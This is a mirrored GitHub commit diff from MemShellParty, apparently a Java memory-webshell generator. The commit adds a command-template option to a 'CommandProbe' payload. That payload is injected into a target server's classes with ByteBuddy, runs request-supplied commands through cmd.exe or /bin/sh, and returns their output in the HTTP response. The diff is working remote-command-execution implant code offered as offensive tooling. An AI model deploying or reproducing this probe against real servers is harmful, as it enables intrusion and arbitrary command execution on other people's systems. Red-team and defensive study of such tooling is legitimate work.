mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support command probe template
This commit is contained in:
@@ -23,4 +23,9 @@ public class ResponseBodyConfig extends ProbeContentConfig {
|
||||
* 内置执行类加载的字节码
|
||||
*/
|
||||
private String base64Bytes;
|
||||
|
||||
/**
|
||||
* 命令执行模板,例如 sh -c "{command}" 2>&1,使用 {command} 作为占位符
|
||||
*/
|
||||
private String commandTemplate;
|
||||
}
|
||||
|
||||
+8
-5
@@ -48,11 +48,14 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
||||
DynamicType.Builder<?> builder = buddy.redefine(writerClass)
|
||||
.name(probeConfig.getShellClassName())
|
||||
.visit(new TargetJreVersionVisitorWrapper(probeConfig.getTargetJreVersion()))
|
||||
.visit(Advice.to(runnerClass).on(named("run")));
|
||||
.visit(Advice.withCustomMapping()
|
||||
.bind(ValueAnnotation.class, probeContentConfig.getCommandTemplate())
|
||||
.to(runnerClass)
|
||||
.on(named("run")));
|
||||
if (StringUtils.isNotBlank(probeContentConfig.getReqParamName())) {
|
||||
builder = builder.visit(MethodCallReplaceVisitorWrapper.newInstance("getDataFromReq",
|
||||
probeConfig.getShellClassName(), ShellCommonUtil.class.getName()))
|
||||
.visit(Advice.withCustomMapping().bind(NameAnnotation.class, name)
|
||||
.visit(Advice.withCustomMapping().bind(ValueAnnotation.class, name)
|
||||
.to(getDataFromReqInterceptor).on(named("getDataFromReq")));
|
||||
} else if (ProbeContent.Bytecode.equals(probeConfig.getProbeContent())) {
|
||||
builder = builder.method(named("getDataFromReq")).intercept(FixedValue.value(probeContentConfig.getBase64Bytes()));
|
||||
@@ -106,7 +109,7 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
||||
static class getDataFromReqInterceptor {
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(value = 0) Object request,
|
||||
@NameAnnotation String name,
|
||||
@ValueAnnotation String name,
|
||||
@Advice.Return(readOnly = false) String ret) throws Exception {
|
||||
try {
|
||||
String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
|
||||
@@ -123,7 +126,7 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
||||
static class getDataFromReqJettyInterceptor {
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(value = 0) Object request,
|
||||
@NameAnnotation String name,
|
||||
@ValueAnnotation String name,
|
||||
@Advice.Return(readOnly = false) String ret) throws Exception {
|
||||
try {
|
||||
String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
|
||||
@@ -144,7 +147,7 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
||||
}
|
||||
|
||||
@Retention(RetentionPolicy.RUNTIME)
|
||||
public @interface NameAnnotation {
|
||||
public @interface ValueAnnotation {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.probe.payload;
|
||||
|
||||
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
@@ -17,15 +18,33 @@ public class CommandProbe {
|
||||
}
|
||||
|
||||
@Advice.OnMethodExit
|
||||
public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOnly = false) String ret) throws Exception {
|
||||
String[] cmd = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", data} : new String[]{"/bin/sh", "-c", data};
|
||||
Process process = new ProcessBuilder(cmd).redirectErrorStream(true).start();
|
||||
public static String exit(@Advice.Argument(0) String data,
|
||||
@Advice.Return(readOnly = false) String ret,
|
||||
@ResponseBodyGenerator.ValueAnnotation String template
|
||||
) throws Exception {
|
||||
String[] cmdarray = null;
|
||||
String t = template;
|
||||
if (t == null) {
|
||||
cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", data} : new String[]{"/bin/sh", "-c", data};
|
||||
} else {
|
||||
if (t.contains("\"{command}\"")) {
|
||||
String[] split = t.split("\\s+");
|
||||
for (int i = 0; i < split.length; i++) {
|
||||
split[i] = split[i].replace("\"{command}\"", data);
|
||||
}
|
||||
cmdarray = split;
|
||||
} else {
|
||||
String cmdline = t.replace("{command}", data);
|
||||
cmdarray = cmdline.split("\\s+");
|
||||
}
|
||||
}
|
||||
Process process = new ProcessBuilder(cmdarray).redirectErrorStream(true).start();
|
||||
return ret = new Scanner(process.getInputStream()).useDelimiter("\\A").next();
|
||||
}
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String toString() {
|
||||
return CommandProbe.exit(command, super.toString());
|
||||
return CommandProbe.exit(command, super.toString(), null);
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user